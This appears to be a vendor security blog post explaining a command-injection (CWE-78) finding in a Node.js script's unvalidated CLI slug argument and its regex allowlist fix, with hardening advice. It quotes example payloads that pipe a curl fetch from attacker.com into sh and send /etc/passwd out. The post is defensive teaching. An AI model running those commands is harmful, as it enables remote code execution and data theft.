The Problem with Trusting Your Own CLI Arguments
The scripts/refresh-htv-signature.js file handles a specific automation task: fetching a video page from hanime.tv, extracting its HTV signature, and refreshing it for downstream use. It is a small, focused script — the kind of utility that often lives in a scripts/ directory and gets invoked by CI/CD pipelines, cron jobs, or developers running one-off commands.
But tucked inside its main() function was a subtle but high-severity flaw: the slug variable, read directly from process.argv[2], was interpolated into a URL string and logged to the console with zero validation. No allowlist, no type check, no length limit — just raw, unfiltered user input flowing into the script's core logic.
// Before the fix — line 24 in main()
const slug = process.argv[2] || 'bible-black-6';
const pageUrl = `https://hanime.tv/videos/hentai/${slug}`;
console.log('Fetching video page:', pageUrl);
const page = await axios.get(pageUrl, { headers: { 'user-agent': UA, referer: 'https://hanime.tv/' } });
This pattern is common in utility scripts and it is exactly the kind of thing that slips through code review because the immediate use looks harmless. But "harmless right now" is not the same as "secure."
The Vulnerability Explained
What Actually Happens at Line 24
When main() runs, it reads process.argv[2] — whatever the caller passed as the first positional argument — and assigns it to slug. That value then gets embedded in a template literal to form pageUrl, which is logged and passed to axios.get().
The vulnerable pattern is this direct interpolation with no guard:
const slug = process.argv[2] || 'bible-black-6';
// ↑ No validation. Any string passes through.
const pageUrl = `https://hanime.tv/videos/hentai/${slug}`;
// ↑ slug lands verbatim in the URL string.
console.log('Fetching video page:', pageUrl);
// ↑ slug also lands in a log sink.
Why This Is CWE-78, Not Just a Bad URL
CWE-78 (Improper Neutralization of Special Elements used in an OS Command) applies here for two interconnected reasons:
-
The logging sink is a stepping stone.
console.logoutput is frequently piped into log aggregators, shell scripts, or monitoring tools that may re-process the string. A slug like`$(curl attacker.com/exfil?data=$(cat /etc/passwd))`written into a log line could be evaluated if that log is ever consumed by a shell. -
The script is one refactor away from a shell call. Scripts that fetch remote content and process it often evolve to pass results to other tools —
ffmpeg,curl, custom binaries — viachild_process.exec()orspawn(). Without input validation at the entry point, every future code path inherits the taintedslugvalue.
The Attack Scenario
An attacker with control over command-line arguments — a realistic threat model for compromised CI/CD pipelines, misconfigured cron jobs, or shared build environments — executes:
node scripts/refresh-htv-signature.js '$(malicious-command)'
# or
node scripts/refresh-htv-signature.js '; curl https://attacker.com/c2 | sh;'
Without the fix, slug becomes $(malicious-command) or ; curl ..., the constructed pageUrl contains the payload, and the value is logged. If the script is later extended to pass pageUrl or slug to a shell command — a one-line change any developer might make — the injection executes immediately.
Even in the current form, the logged payload can poison downstream log-processing pipelines that evaluate shell expressions.
The Fix
The fix is elegant in its simplicity: a four-line guard added immediately after reading slug, before any other operation touches the value.
Before
async function main() {
const slug = process.argv[2] || 'bible-black-6';
const pageUrl = `https://hanime.tv/videos/hentai/${slug}`;
console.log('Fetching video page:', pageUrl);
// ...
}
After
async function main() {
const slug = process.argv[2] || 'bible-black-6';
if (!/^[a-zA-Z0-9_-]+$/.test(slug)) {
console.error('Invalid slug:', slug);
process.exit(1);
}
const pageUrl = `https://hanime.tv/videos/hentai/${slug}`;
console.log('Fetching video page:', pageUrl);
// ...
}
Why This Specific Regex Is the Right Control
The regex /^[a-zA-Z0-9_-]+$/ implements a strict allowlist — it defines exactly which characters are permitted and rejects everything else:
| Character class | Allowed | Why |
|---|---|---|
a-zA-Z |
✅ | Valid slug letters |
0-9 |
✅ | Valid slug digits |
_ |
✅ | Common URL slug separator |
- |
✅ | Common URL slug separator |
$, (, ), ;, `, |, & |
❌ | Shell metacharacters — now rejected |
| Spaces, newlines, null bytes | ❌ | Injection primitives — now rejected |
The anchors ^ and $ are critical: without them, a regex like /[a-zA-Z0-9_-]/ would match a string that contains a valid character anywhere, even if the rest is malicious. The anchors enforce that the entire slug matches the pattern.
The process.exit(1) on invalid input ensures the script fails loudly and immediately rather than silently continuing with a tainted value — an important property for scripts running in automated pipelines where silent failures are dangerous.
Prevention & Best Practices
1. Validate at the Entry Point, Every Time
The golden rule for CLI scripts is the same as for web request handlers: validate all external input at the earliest possible point, before it touches any logic. process.argv is an external input surface just like an HTTP query parameter.
// Pattern: validate immediately after reading
const slug = process.argv[2];
if (!slug || !/^[a-zA-Z0-9_-]+$/.test(slug)) {
console.error('Usage: node script.js <slug>');
process.exit(1);
}
2. Use Argument Parsers with Built-in Validation
Libraries like yargs and commander support schema-based argument validation, making it harder to accidentally skip validation:
const yargs = require('yargs');
const argv = yargs
.option('slug', {
type: 'string',
demandOption: true,
describe: 'Video slug (alphanumeric, hyphens, underscores only)'
})
.check((argv) => {
if (!/^[a-zA-Z0-9_-]+$/.test(argv.slug)) {
throw new Error('Invalid slug format');
}
return true;
})
.argv;
3. Never Use shell: true with External Input
If you must spawn child processes, always use the array form of child_process.spawn() and never set shell: true with user-controlled values:
// DANGEROUS
exec(`process-video ${slug}`);
// SAFE
spawn('process-video', [slug], { shell: false });
4. Apply the Same Rigor to Scripts as to Production Code
Utility scripts in scripts/ directories are often excluded from security review because they "only run internally." But internal scripts are prime targets in supply chain attacks and CI/CD compromise scenarios. Treat them with the same care as production request handlers.
5. Use Static Analysis in CI
Tools that detect taint flow from process.argv to dangerous sinks can catch this class of bug automatically:
- Semgrep: Rules for Node.js command injection detect
process.argvflowing toexec,spawn, and template literals - ESLint
eslint-plugin-security: Flags unsafe use of user input in shell contexts - CodeQL: Tracks data flow from external sources to OS command sinks
Key Takeaways
process.argvis an untrusted input surface — theslugparameter inrefresh-htv-signature.jsrequired the same validation discipline as an HTTP query parameter or form field.- Template literal interpolation is a sink — embedding
slugin`https://hanime.tv/videos/hentai/${slug}`without validation is the root of this CWE-78 finding, even though the immediate call is an HTTP request. - Allowlist regex at the entry point is the correct fix —
/^[a-zA-Z0-9_-]+$/eliminates every shell metacharacter class in a single, auditable check. process.exit(1)on invalid input is not optional — failing fast and loudly prevents tainted values from propagating silently through automated pipelines.- Scripts evolve — a script that today only calls
axios.get()may tomorrow callchild_process.exec(). Validating at the entry point protects all future code paths, not just the current ones.
How Orbis AppSec Detected This
- Source:
process.argv[2]— the first positional argument passed to the Node.js CLI script by any caller (CI/CD pipeline, cron job, developer, or compromised system user) - Sink: Template literal interpolation
`https://hanime.tv/videos/hentai/${slug}`at line 25 ofscripts/refresh-htv-signature.js, with the same value passed toconsole.log()at line 26 - Missing control: No allowlist validation, no character-class filtering, and no length limit on
slugbefore it reached the URL construction and logging operations - CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command
- Fix: A four-line guard using
/^[a-zA-Z0-9_-]+$/was inserted immediately after readingslug, terminating the process with exit code 1 if the value contains any character outside the allowlist
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
The vulnerability in scripts/refresh-htv-signature.js is a textbook example of how command injection risk accumulates quietly in utility scripts. The slug variable looked safe — it was going into an HTTP URL, not a shell command. But unvalidated input that touches logging, URL construction, and any future code path is a liability waiting to be exercised.
The fix is four lines of code and a regex. The security improvement is substantial: every shell metacharacter, subshell expression, and injection primitive is now rejected at the entry point, before slug touches anything. Valid slugs — the only slugs this script should ever see — pass through unchanged.
For developers writing Node.js CLI scripts: treat process.argv exactly as you would treat an HTTP request body. Validate early, allowlist aggressively, and fail loudly on unexpected input. The scripts that run your infrastructure deserve the same security discipline as the code that faces your users.